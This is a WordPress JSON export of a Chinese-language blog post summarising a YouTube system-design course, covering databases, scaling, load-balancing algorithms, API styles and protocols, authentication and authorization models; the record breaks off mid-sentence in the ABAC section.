{"id":761,"date":"2026-02-23T21:20:20","date_gmt":"2026-02-23T13:20:20","guid":{"rendered":"https:\/\/blog.itsmygo.uk\/2026\/02\/23\/system-design-explained%ef%bc%9a%e7%b3%bb%e7%b5%b1%e8%a8%ad%e8%a8%88%e5%85%a8%e8%a7%a3%e6%9e%90-api%e3%80%81%e8%b3%87%e6%96%99%e5%ba%ab%e3%80%81%e5%bf%ab%e5%8f%96%e3%80%81cdn%e3%80%81\/"},"modified":"2026-02-23T21:20:20","modified_gmt":"2026-02-23T13:20:20","slug":"system-design-explained%ef%bc%9a%e7%b3%bb%e7%b5%b1%e8%a8%ad%e8%a8%88%e5%85%a8%e8%a7%a3%e6%9e%90-api%e3%80%81%e8%b3%87%e6%96%99%e5%ba%ab%e3%80%81%e5%bf%ab%e5%8f%96%e3%80%81cdn%e3%80%81","status":"publish","type":"post","link":"https:\/\/blog.itsmygo.uk\/wordpress\/2026\/02\/23\/system-design-explained%ef%bc%9a%e7%b3%bb%e7%b5%b1%e8%a8%ad%e8%a8%88%e5%85%a8%e8%a7%a3%e6%9e%90-api%e3%80%81%e8%b3%87%e6%96%99%e5%ba%ab%e3%80%81%e5%bf%ab%e5%8f%96%e3%80%81cdn%e3%80%81\/","title":{"rendered":"System Design Explained\uff1a\u7cfb\u7d71\u8a2d\u8a08\u5168\u89e3\u6790 \u2014 API\u3001\u8cc7\u6599\u5eab\u3001\u5feb\u53d6\u3001CDN\u3001\u8ca0\u8f09\u5747\u8861\u8207\u751f\u7522\u74b0\u5883\u57fa\u790e\u8a2d\u65bd"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u9019\u90e8\u5f71\u7247\u7531 Dev Mastery \u983b\u9053\u63a8\u51fa\uff0c\u662f\u4e00\u5802\u7cfb\u7d71\u8a2d\u8a08\u5165\u9580\u5230\u9032\u968e\u7684\u5b8c\u6574\u8ab2\u7a0b\u3002\u5167\u5bb9\u6db5\u84cb\u5f9e\u55ae\u4e00\u4f3a\u670d\u5668\u67b6\u69cb\u958b\u59cb\uff0c\u9010\u6b65\u5ef6\u4f38\u5230\u8cc7\u6599\u5eab\u9078\u578b\u3001\u8ca0\u8f09\u5747\u8861\u7b56\u7565\u3001API \u8a2d\u8a08\u539f\u5247\uff08REST\u3001GraphQL\u3001gRPC\uff09\u3001\u7db2\u8def\u5354\u5b9a\uff08TCP\/UDP\uff09\u3001\u8eab\u5206\u9a57\u8b49\u8207\u6388\u6b0a\u6a5f\u5236\uff0c\u4ee5\u53ca API \u5b89\u5168\u9632\u8b77\u4e03\u5927\u6280\u5de7\u3002\u9069\u5408\u60f3\u8981\u7a81\u7834\u4e2d\u968e\u74f6\u9838\u3001\u6e96\u5099\u7cfb\u7d71\u8a2d\u8a08\u9762\u8a66\u7684\u958b\u767c\u8005\u3002<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">\u539f\u5f71\u7247\u9023\u7d50\uff1ahttps:\/\/www.youtube.com\/watch?v=adOkTjIIDnk<\/p>\n<\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\">\u5f71\u7247\u91cd\u9ede<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n\n<li>\u7cfb\u7d71\u8a2d\u8a08\u80fd\u529b\u662f\u5340\u5206\u4e2d\u968e\u8207\u8cc7\u6df1\u5de5\u7a0b\u5e2b\u7684\u95dc\u9375\u6280\u80fd<\/li>\n\n\n<li>\u5f9e\u55ae\u4e00\u4f3a\u670d\u5668\u67b6\u69cb\u958b\u59cb\u7406\u89e3\u6838\u5fc3\u5143\u4ef6\uff0c\u518d\u9010\u6b65\u64f4\u5c55<\/li>\n\n\n<li>\u95dc\u806f\u5f0f\u8cc7\u6599\u5eab\uff08SQL\uff09\u9069\u5408\u7d50\u69cb\u5316\u8cc7\u6599\u8207\u4ea4\u6613\u4e00\u81f4\u6027\uff1b\u975e\u95dc\u806f\u5f0f\u8cc7\u6599\u5eab\uff08NoSQL\uff09\u9069\u5408\u5f48\u6027\u8207\u4f4e\u5ef6\u9072\u9700\u6c42<\/li>\n\n\n<li>\u5782\u76f4\u64f4\u5c55\u6709\u4e0a\u9650\uff0c\u6c34\u5e73\u64f4\u5c55\u642d\u914d\u8ca0\u8f09\u5747\u8861\u5668\u624d\u662f\u5927\u898f\u6a21\u61c9\u7528\u7684\u89e3\u6cd5<\/li>\n\n\n<li>\u4e03\u7a2e\u8ca0\u8f09\u5747\u8861\u6f14\u7b97\u6cd5\u5404\u6709\u9069\u7528\u5834\u666f\uff1aRound Robin\u3001Least Connections\u3001IP Hash \u7b49<\/li>\n\n\n<li>API \u8a2d\u8a08\u4e09\u5927\u98a8\u683c\uff1aREST\uff08\u6700\u5e38\u898b\uff09\u3001GraphQL\uff08\u6e1b\u5c11\u4f86\u56de\u8acb\u6c42\uff09\u3001gRPC\uff08\u5fae\u670d\u52d9\u9593\u9ad8\u6548\u901a\u8a0a\uff09<\/li>\n\n\n<li>RESTful API \u56db\u5927\u8a2d\u8a08\u539f\u5247\uff1a\u4e00\u81f4\u6027\u3001\u7c21\u6f54\u6027\u3001\u5b89\u5168\u6027\u3001\u6548\u80fd<\/li>\n\n\n<li>TCP \u53ef\u9760\u4f46\u8f03\u6162\uff0cUDP \u5feb\u901f\u4f46\u4e0d\u4fdd\u8b49\u9001\u9054 \u2014 \u6839\u64da\u9700\u6c42\u9078\u64c7<\/li>\n\n\n<li>\u8eab\u5206\u9a57\u8b49\u5f9e Basic Auth \u5230 OAuth2 + JWT\uff0c\u5c64\u5c64\u905e\u9032<\/li>\n\n\n<li>\u6388\u6b0a\u6a21\u578b\u4e09\u5927\u985e\uff1aRBAC\uff08\u89d2\u8272\uff09\u3001ABAC\uff08\u5c6c\u6027\uff09\u3001ACL\uff08\u5b58\u53d6\u63a7\u5236\u6e05\u55ae\uff09<\/li>\n\n\n<li>API \u5b89\u5168\u4e03\u5927\u6280\u5de7\uff1aRate Limiting\u3001CORS\u3001SQL Injection \u9632\u8b77\u3001Firewall\u3001VPN\u3001CSRF Token\u3001XSS \u9632\u8b77<\/li>\n\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u8a73\u7d30\u5167\u5bb9<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">[00:00] \u70ba\u4ec0\u9ebc\u7cfb\u7d71\u8a2d\u8a08\u5f88\u91cd\u8981<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u591a\u6578\u958b\u767c\u8005\u7121\u6cd5\u5f9e\u96f6\u8a2d\u8a08\u4e00\u500b\u7cfb\u7d71\u3002\u4ed6\u5011\u53ef\u4ee5\u5728\u5225\u4eba\u5efa\u597d\u7684\u67b6\u69cb\u4e0a\u52a0\u529f\u80fd\u3001\u8655\u7406\u660e\u78ba\u9700\u6c42\u7684\u4efb\u52d9\uff0c\u4f46\u8981\u6c42\u5f9e\u982d\u8a2d\u8a08\u6642\u5f80\u5f80\u6703\u5361\u4f4f\u3002\u9019\u6b63\u662f\u4e2d\u968e\u8207\u8cc7\u6df1\u5de5\u7a0b\u5e2b\u7684\u5206\u6c34\u5dba \u2014 \u8cc7\u6df1\u5de5\u7a0b\u5e2b\u80fd\u505a\u67b6\u69cb\u6c7a\u7b56\u3001\u8655\u7406\u6a21\u7cca\u9700\u6c42\u3001\u8a2d\u8a08\u53d6\u6368\u65b9\u6848\u3002\u516c\u53f8\u9858\u610f\u4ed8\u516d\u4f4d\u6578\u85aa\u8cc7\uff0c\u4e0d\u662f\u70ba\u4e86\u6703\u5beb\u7a0b\u5f0f\u7684\u4eba\uff0c\u800c\u662f\u70ba\u4e86\u80fd\u505a\u67b6\u69cb\u6c7a\u7b56\u3001\u512a\u5316\u7cfb\u7d71\u6548\u80fd\u7684\u4eba\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[01:30] \u55ae\u4e00\u4f3a\u670d\u5668\u67b6\u69cb\uff1a\u4e00\u5207\u7684\u8d77\u9ede<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u8a2d\u8a08\u652f\u63f4\u767e\u842c\u7528\u6236\u7684\u7cfb\u7d71\u5f88\u8907\u96dc\uff0c\u4f46\u6bcf\u500b\u8907\u96dc\u7cfb\u7d71\u90fd\u5f9e\u7c21\u55ae\u958b\u59cb\u3002\u4e00\u53f0\u4f3a\u670d\u5668\u540c\u6642\u8dd1 Web \u61c9\u7528\u3001\u8cc7\u6599\u5eab\u548c\u5feb\u53d6\u3002\u7528\u6236\u900f\u904e\u57df\u540d\u5b58\u53d6\uff0cDNS \u5c07\u57df\u540d\u89e3\u6790\u70ba IP \u4f4d\u5740\uff0c\u63a5\u8457\u7528\u6236\u7aef\u767c\u9001 HTTP \u8acb\u6c42\uff0c\u4f3a\u670d\u5668\u56de\u50b3 HTML \u9801\u9762\u6216 JSON \u8cc7\u6599\u3002Web \u7528\u6236\u8d70 HTML\/CSS\/JS\uff0c\u884c\u52d5\u7aef\u7528\u6236\u5247\u900f\u904e API \u53d6\u5f97 JSON \u56de\u61c9\u3002\u9019\u500b\u67b6\u69cb\u9069\u5408\u5c0f\u578b\u7528\u6236\u7fa4\uff0c\u4f46\u6d41\u91cf\u4e00\u5927\u5c31\u6703\u51fa\u554f\u984c\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[04:30] \u8cc7\u6599\u5eab\u9078\u578b\uff1aSQL vs NoSQL<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u7576\u7528\u6236\u589e\u9577\u5f8c\uff0c\u9700\u8981\u5c07 Web \u5c64\u8207\u8cc7\u6599\u5c64\u5206\u96e2\uff0c\u5404\u81ea\u7368\u7acb\u64f4\u5c55\u3002\u8cc7\u6599\u5eab\u6709\u5169\u5927\u985e\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u95dc\u806f\u5f0f\u8cc7\u6599\u5eab\uff08SQL\uff09<\/strong>\uff1aPostgreSQL\u3001MySQL \u7b49\u3002\u8cc7\u6599\u4ee5\u8868\u683c\u548c\u5217\u7684\u65b9\u5f0f\u5132\u5b58\uff0c\u652f\u63f4\u8907\u96dc\u7684 JOIN \u64cd\u4f5c\u3002\u6700\u5927\u512a\u52e2\u662f ACID \u4ea4\u6613\u7279\u6027 \u2014 \u539f\u5b50\u6027\uff08Atomicity\uff09\u3001\u4e00\u81f4\u6027\uff08Consistency\uff09\u3001\u9694\u96e2\u6027\uff08Isolation\uff09\u3001\u6301\u4e45\u6027\uff08Durability\uff09\uff0c\u9069\u5408\u9280\u884c\u3001\u96fb\u5546\u7b49\u9700\u8981\u8cc7\u6599\u5b8c\u6574\u6027\u7684\u5834\u666f\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u975e\u95dc\u806f\u5f0f\u8cc7\u6599\u5eab\uff08NoSQL\uff09<\/strong> \u6709\u56db\u7a2e\u985e\u578b\uff1a\u6587\u4ef6\u5132\u5b58\uff08MongoDB\uff09\u3001\u5bec\u5217\u5132\u5b58\uff08Cassandra\uff09\u3001\u5716\u5f62\u8cc7\u6599\u5eab\uff08Neo4j\uff09\u3001\u9375\u503c\u5132\u5b58\uff08Redis\uff09\u3002NoSQL \u53ef\u4ee5\u628a\u7528\u6236\u3001\u8a02\u55ae\u3001\u7522\u54c1\u653e\u5728\u540c\u4e00\u500b\u6587\u4ef6\u4e2d\uff0c\u7701\u53bb JOIN \u64cd\u4f5c\uff0c\u9069\u5408\u4f4e\u5ef6\u9072\u3001\u5927\u91cf\u975e\u7d50\u69cb\u5316\u8cc7\u6599\u7684\u5834\u666f\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9078\u64c7\u539f\u5247\uff1a\u8cc7\u6599\u7d50\u69cb\u660e\u78ba\u4e14\u9700\u8981\u5f37\u4e00\u81f4\u6027 \u2192 SQL\uff1b\u9700\u8981\u8d85\u4f4e\u5ef6\u9072\u6216\u8cc7\u6599\u662f\u975e\u7d50\u69cb\u5316\u7684 \u2192 NoSQL\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[12:00] \u5782\u76f4\u64f4\u5c55 vs \u6c34\u5e73\u64f4\u5c55<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5782\u76f4\u64f4\u5c55\uff08Scale Up\uff09<\/strong>\uff1a\u5e6b\u73fe\u6709\u4f3a\u670d\u5668\u52a0 RAM\u3001CPU\u3002\u7c21\u55ae\u4f46\u6709\u786c\u9ad4\u4e0a\u9650\uff0c\u4e14\u53ea\u6709\u4e00\u53f0\u4f3a\u670d\u5668\u6642\u6c92\u6709\u5099\u63f4 \u2014 \u4f3a\u670d\u5668\u639b\u4e86\u6574\u500b\u61c9\u7528\u5c31\u639b\u4e86\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6c34\u5e73\u64f4\u5c55\uff08Scale Out\uff09<\/strong>\uff1a\u589e\u52a0\u66f4\u591a\u4f3a\u670d\u5668\u5206\u64d4\u8ca0\u8f09\u3002\u5bb9\u932f\u6027\u66f4\u9ad8\uff08\u4e00\u53f0\u639b\u4e86\u9084\u6709\u5176\u4ed6\uff09\uff0c\u53ef\u64f4\u5c55\u6027\u66f4\u597d\uff08\u96a8\u6642\u52a0\u65b0\u4f3a\u670d\u5668\uff09\u3002\u4f46\u554f\u984c\u4f86\u4e86\uff1a\u591a\u53f0\u4f3a\u670d\u5668\u600e\u9ebc\u5206\u914d\u6d41\u91cf\uff1f\u9019\u5c31\u9700\u8981\u8ca0\u8f09\u5747\u8861\u5668\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[15:00] \u8ca0\u8f09\u5747\u8861\u5668\u8207\u4e03\u7a2e\u6f14\u7b97\u6cd5<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ca0\u8f09\u5747\u8861\u5668\u5750\u5728\u7528\u6236\u7aef\u548c\u4f3a\u670d\u5668\u7fa4\u4e4b\u9593\uff0c\u8ca0\u8cac\u5206\u914d\u6d41\u91cf\u3002\u4e03\u7a2e\u5e38\u898b\u6f14\u7b97\u6cd5\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n\n<li><strong>Round Robin<\/strong>\uff1a\u4f9d\u5e8f\u8f2a\u6d41\u5206\u914d\uff0c\u9069\u5408\u898f\u683c\u76f8\u540c\u7684\u4f3a\u670d\u5668<\/li>\n\n\n<li><strong>Least Connections<\/strong>\uff1a\u5c0e\u5411\u9023\u7dda\u6578\u6700\u5c11\u7684\u4f3a\u670d\u5668\uff0c\u9069\u5408 Session \u9577\u5ea6\u4e0d\u4e00\u7684\u5834\u666f<\/li>\n\n\n<li><strong>Least Response Time<\/strong>\uff1a\u9078\u56de\u61c9\u6700\u5feb\u4e14\u9023\u7dda\u6700\u5c11\u7684\u4f3a\u670d\u5668<\/li>\n\n\n<li><strong>IP Hash<\/strong>\uff1a\u6839\u64da\u7528\u6236 IP \u7684\u96dc\u6e4a\u503c\u56fa\u5b9a\u5c0e\u5411\u540c\u4e00\u53f0\u4f3a\u670d\u5668\uff0c\u9069\u5408\u9700\u8981 Session \u9ecf\u8457\u7684\u5834\u666f<\/li>\n\n\n<li><strong>Weighted \u52a0\u6b0a\u8b8a\u9ad4<\/strong>\uff1a\u6839\u64da\u4f3a\u670d\u5668\u6548\u80fd\u5206\u914d\u6b0a\u91cd<\/li>\n\n\n<li><strong>Geographical \u5730\u7406\u4f4d\u7f6e<\/strong>\uff1a\u5c0e\u5411\u8ddd\u96e2\u7528\u6236\u6700\u8fd1\u7684\u4f3a\u670d\u5668\uff0c\u964d\u4f4e\u5ef6\u9072<\/li>\n\n\n<li><strong>Consistent Hashing<\/strong>\uff1a\u7528\u96dc\u6e4a\u74b0\u5206\u914d\uff0c\u540c\u6642\u78ba\u4fdd\u7528\u6236\u4e00\u81f4\u6027\u548c\u4f3a\u670d\u5668\u589e\u6e1b\u6642\u6700\u5c0f\u5316\u91cd\u65b0\u5206\u914d<\/li>\n\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ca0\u8f09\u5747\u8861\u5668\u9084\u5167\u5efa<strong>\u5065\u5eb7\u6aa2\u67e5<\/strong>\u529f\u80fd\uff0c\u6301\u7e8c\u76e3\u63a7\u4f3a\u670d\u5668\u72c0\u614b\uff0c\u81ea\u52d5\u8df3\u904e\u6545\u969c\u7bc0\u9ede\u3002\u5be6\u4f5c\u4e0a\u53ef\u7528\u8edf\u9ad4\uff08Nginx\u3001HAProxy\uff09\u3001\u786c\u9ad4\uff08F5\uff09\u6216\u96f2\u7aef\u670d\u52d9\uff08AWS ELB\u3001Azure Load Balancer\uff09\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[25:00] \u55ae\u9ede\u6545\u969c\u8207\u89e3\u6c7a\u65b9\u6848<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u55ae\u9ede\u6545\u969c\uff08Single Point of Failure\uff09\u662f\u7cfb\u7d71\u4e2d\u4efb\u4f55\u4e00\u500b\u5143\u4ef6\u6545\u969c\u5c31\u80fd\u5c0e\u81f4\u6574\u9ad4\u7671\u7613\u7684\u9ede\u3002\u4f8b\u5982\u53ea\u6709\u4e00\u500b\u8cc7\u6599\u5eab\u6216\u4e00\u500b\u8ca0\u8f09\u5747\u8861\u5668\uff0c\u4e00\u65e6\u639b\u6389\u5168\u90e8\u505c\u64fa\u3002\u89e3\u6c7a\u7b56\u7565\uff1a\u589e\u52a0\u5197\u9918\uff08\u591a\u500b\u8ca0\u8f09\u5747\u8861\u5668\uff09\u3001\u5065\u5eb7\u6aa2\u67e5\u76e3\u63a7\u3001\u81ea\u6211\u4fee\u5fa9\u7cfb\u7d71\uff08\u5075\u6e2c\u6545\u969c\u5f8c\u81ea\u52d5\u66ff\u63db\u65b0\u5be6\u4f8b\uff09\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[29:00] API \u8a2d\u8a08\u57fa\u790e\uff1aREST\u3001GraphQL\u3001gRPC<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">API\uff08Application Programming Interface\uff09\u662f\u8edf\u9ad4\u5143\u4ef6\u9593\u7684\u6e9d\u901a\u5951\u7d04\uff0c\u5b9a\u7fa9\u53ef\u767c\u9001\u4ec0\u9ebc\u8acb\u6c42\u3001\u671f\u671b\u4ec0\u9ebc\u56de\u61c9\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>REST API<\/strong>\uff1a\u6700\u5e38\u898b\uff0c\u4f7f\u7528 HTTP \u65b9\u6cd5\uff08GET\/POST\/PUT\/DELETE\uff09\uff0c\u7121\u72c0\u614b\uff0c\u6bcf\u500b\u8acb\u6c42\u7368\u7acb\u5305\u542b\u6240\u6709\u8cc7\u8a0a\u3002\u9069\u5408 Web \u548c\u884c\u52d5\u61c9\u7528\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>GraphQL<\/strong>\uff1aFacebook \u958b\u767c\uff0c\u55ae\u4e00\u7aef\u9ede\u8655\u7406\u6240\u6709\u64cd\u4f5c\u3002\u5ba2\u6236\u7aef\u7cbe\u78ba\u6307\u5b9a\u9700\u8981\u7684\u8cc7\u6599\u7d50\u69cb\uff0c\u907f\u514d\u591a\u6b21\u4f86\u56de\u8acb\u6c42\u548c\u904e\u5ea6\u64f7\u53d6\uff08over-fetching\uff09\u3002\u9069\u5408\u8907\u96dc UI\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>gRPC<\/strong>\uff1aGoogle \u958b\u767c\u7684\u9ad8\u6548\u80fd RPC \u6846\u67b6\uff0c\u4f7f\u7528 Protocol Buffers \u548c HTTP\/2\u3002\u652f\u63f4\u4e32\u6d41\u548c\u96d9\u5411\u901a\u8a0a\uff0c\u6700\u9069\u5408\u5fae\u670d\u52d9\u9593\u7684\u5167\u90e8\u901a\u8a0a\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[36:00] API \u56db\u5927\u8a2d\u8a08\u539f\u5247<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n\n<li><strong>\u4e00\u81f4\u6027<\/strong>\uff1a\u547d\u540d\u98a8\u683c\u7d71\u4e00\uff08camelCase \u6216 snake_case \u64c7\u4e00\u8cab\u5fb9\uff09<\/li>\n\n\n<li><strong>\u7c21\u6f54\u6027<\/strong>\uff1a\u6700\u597d\u7684 API \u662f\u4e0d\u7528\u770b\u6587\u4ef6\u5c31\u80fd\u4f7f\u7528\u7684 API<\/li>\n\n\n<li><strong>\u5b89\u5168\u6027<\/strong>\uff1a\u8eab\u5206\u9a57\u8b49\u3001\u6388\u6b0a\u3001\u8f38\u5165\u9a57\u8b49\u3001Rate Limiting<\/li>\n\n\n<li><strong>\u6548\u80fd<\/strong>\uff1a\u5feb\u53d6\u7b56\u7565\u3001\u5206\u9801\uff08Pagination\uff09\u3001\u6700\u5c0f\u5316 Payload\u3001\u6e1b\u5c11\u4f86\u56de\u6b21\u6578<\/li>\n\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">[40:00] API \u5354\u5b9a\uff1aHTTP\u3001WebSocket\u3001AMQP\u3001gRPC<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>HTTP\/HTTPS<\/strong>\uff1aWeb API \u7684\u57fa\u790e\uff0c\u8acb\u6c42-\u56de\u61c9\u6a21\u5f0f\u3002HTTPS \u52a0\u4e0a TLS\/SSL \u52a0\u5bc6\u4fdd\u8b77\u50b3\u8f38\u4e2d\u7684\u8cc7\u6599\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>WebSocket<\/strong>\uff1a\u89e3\u6c7a HTTP \u8f2a\u8a62\u7684\u6548\u7387\u554f\u984c\u3002\u5efa\u7acb\u9023\u7dda\u5f8c\u4f3a\u670d\u5668\u53ef\u4e3b\u52d5\u63a8\u9001\u8cc7\u6599\uff0c\u5be6\u73fe\u5373\u6642\u901a\u8a0a\uff08\u804a\u5929\u5ba4\u3001\u5373\u6642\u4e32\u6d41\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>AMQP\uff08Advanced Message Queuing Protocol\uff09<\/strong>\uff1a\u7528\u65bc\u975e\u540c\u6b65\u901a\u8a0a\u3002\u751f\u7522\u8005\u767c\u9001\u8a0a\u606f\u5230\u4f47\u5217\uff08Queue\uff09\uff0c\u6d88\u8cbb\u8005\u4f9d\u81ea\u8eab\u80fd\u529b\u62c9\u53d6\u8655\u7406\uff0c\u5be6\u73fe\u89e3\u8026\u548c\u6d41\u91cf\u7de9\u885d\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>gRPC<\/strong>\uff1a\u57fa\u65bc HTTP\/2 \u7684\u9ad8\u6548\u80fd\u5354\u5b9a\uff0c\u9069\u5408\u4f3a\u670d\u5668\u4e4b\u9593\u7684\u901a\u8a0a\uff0c\u700f\u89bd\u5668\u652f\u63f4\u6709\u9650\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[48:00] \u50b3\u8f38\u5c64\u5354\u5b9a\uff1aTCP vs UDP<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>TCP\uff08Transmission Control Protocol\uff09<\/strong>\uff1a\u53ef\u9760\u50b3\u8f38\uff0c\u4e09\u6b21\u63e1\u624b\u5efa\u7acb\u9023\u7dda\uff0c\u4fdd\u8b49\u5c01\u5305\u9001\u9054\u4e14\u6709\u5e8f\u3002\u9069\u5408\u652f\u4ed8\u3001\u8a8d\u8b49\u3001\u7528\u6236\u8cc7\u6599\u7b49\u4e0d\u80fd\u4e1f\u5931\u7684\u5834\u666f\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>UDP\uff08User Datagram Protocol\uff09<\/strong>\uff1a\u5feb\u901f\u4f46\u4e0d\u4fdd\u8b49\u9001\u9054\u3001\u4e0d\u4fdd\u8b49\u9806\u5e8f\u3002\u9069\u5408\u8996\u8a0a\u901a\u8a71\u3001\u7dda\u4e0a\u904a\u6232\u3001\u76f4\u64ad \u2014 \u4e1f\u5e7e\u500b\u5c01\u5305\u6c92\u95dc\u4fc2\uff0c\u91cd\u8981\u7684\u662f\u5373\u6642\u6027\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[53:00] RESTful API \u6700\u4f73\u5be6\u8e10<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u8cc7\u6e90\u5efa\u6a21\u7528\u540d\u8a5e\u8907\u6578\uff08<code>\/products<\/code> \u800c\u975e <code>\/getProducts<\/code>\uff09\uff0c\u652f\u63f4\u5de2\u72c0\u8cc7\u6e90\uff08<code>\/products\/123\/reviews<\/code>\uff09\u3002\u67e5\u8a62\u53c3\u6578\u5be6\u73fe\u7be9\u9078\uff08<code>?category=electronics&amp;in_stock=true<\/code>\uff09\u3001\u6392\u5e8f\uff08<code>?sort=price_asc<\/code>\uff09\u548c\u5206\u9801\uff08<code>?page=2&amp;limit=10<\/code>\uff09\u3002HTTP \u65b9\u6cd5\u5c0d\u61c9 CRUD\uff1aGET \u8b80\u53d6\u3001POST \u5efa\u7acb\u3001PUT\/PATCH \u66f4\u65b0\u3001DELETE \u522a\u9664\u3002\u72c0\u614b\u78bc\u8981\u6b63\u78ba\uff1a200 \u6210\u529f\u3001201 \u5df2\u5efa\u7acb\u3001404 \u627e\u4e0d\u5230\u3001500 \u4f3a\u670d\u5668\u932f\u8aa4\u3002API \u8981\u6709\u7248\u672c\u63a7\u5236\uff08<code>\/api\/v1\/<\/code>\uff09\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[62:00] GraphQL \u6df1\u5165\u89e3\u6790<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">GraphQL \u7684 Schema \u662f\u5ba2\u6236\u7aef\u8207\u4f3a\u670d\u5668\u7684\u5951\u7d04\uff0c\u5b9a\u7fa9 Type\uff08\u8cc7\u6599\u578b\u5225\uff09\u3001Query\uff08\u67e5\u8a62\uff09\u548c Mutation\uff08\u8b8a\u66f4\uff09\u3002\u5ba2\u6236\u7aef\u5728\u55ae\u4e00\u8acb\u6c42\u4e2d\u7cbe\u78ba\u6307\u5b9a\u6240\u9700\u6b04\u4f4d\uff0c\u4f3a\u670d\u5668\u53ea\u56de\u50b3\u88ab\u8981\u6c42\u7684\u8cc7\u6599\u3002\u932f\u8aa4\u8655\u7406\u8207 REST \u4e0d\u540c \u2014 GraphQL \u6c38\u9060\u56de\u50b3 200 \u72c0\u614b\u78bc\uff0c\u932f\u8aa4\u8cc7\u8a0a\u653e\u5728\u56de\u61c9\u7684 <code>errors<\/code> \u6b04\u4f4d\u4e2d\u3002\u6700\u4f73\u5be6\u8e10\uff1aSchema \u4fdd\u6301\u5c0f\u800c\u6a21\u7d44\u5316\u3001\u907f\u514d\u904e\u6df1\u5de2\u72c0\u67e5\u8a62\u3001\u4f7f\u7528\u6709\u610f\u7fa9\u7684\u547d\u540d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[68:00] \u8eab\u5206\u9a57\u8b49\uff1a\u5f9e Basic Auth \u5230 OAuth2<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Basic Auth<\/strong>\uff1aBase64 \u7de8\u78bc\u7684\u5e33\u865f\u5bc6\u78bc\uff0c\u5bb9\u6613\u53cd\u89e3\uff0c\u5e7e\u4e4e\u4e0d\u518d\u4f7f\u7528\u3002 <strong>Bearer Token<\/strong>\uff1a\u6bcf\u6b21\u8acb\u6c42\u5e36 Token \u800c\u975e\u5e33\u5bc6\uff0c\u7121\u72c0\u614b\u4e14\u6613\u65bc\u64f4\u5c55\u3002 <strong>OAuth2 + JWT<\/strong>\uff1a\u900f\u904e Google\u3001GitHub \u7b49\u4fe1\u4efb\u63d0\u4f9b\u8005\u767b\u5165\uff0cJWT Token \u651c\u5e36\u7528\u6236\u8cc7\u8a0a\uff08ID\u3001\u89d2\u8272\u3001\u904e\u671f\u6642\u9593\uff09\uff0c\u540c\u6a23\u7121\u72c0\u614b\u3002 <strong>Access + Refresh Token<\/strong>\uff1aAccess Token \u77ed\u547d\u7528\u65bc API \u547c\u53eb\uff0cRefresh Token \u9577\u547d\u7528\u65bc\u66f4\u65b0 Access Token\uff0c\u517c\u9867\u5b89\u5168\u8207\u4f7f\u7528\u9ad4\u9a57\u3002 <strong>SSO\uff08Single Sign-On\uff09<\/strong>\uff1a\u4e00\u6b21\u767b\u5165\u5b58\u53d6\u591a\u500b\u670d\u52d9\uff08\u5982 Google \u5e33\u865f\u540c\u6642\u7528\u65bc Gmail\u3001Drive\u3001Calendar\uff09\uff0c\u5e95\u5c64\u7528 OAuth2 \u6216 SAML \u5354\u5b9a\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[76:00] \u6388\u6b0a\u6a21\u578b\uff1aRBAC\u3001ABAC\u3001ACL<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>RBAC\uff08Role-Based Access Control\uff09<\/strong>\uff1a\u4f9d\u89d2\u8272\u5206\u914d\u6b0a\u9650\uff0c\u6700\u5e38\u898b\u3002\u4f8b\u5982 Admin \u6709\u5b8c\u6574\u6b0a\u9650\u3001Editor \u53ef\u7de8\u8f2f\u4f46\u4e0d\u80fd\u522a\u9664\u3001Viewer \u53ea\u80fd\u8b80\u53d6\u3002GitHub \u7684 Repository \u6b0a\u9650\u5c31\u662f\u5178\u578b\u6848\u4f8b\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>ABAC\uff08Attribute-Based Access 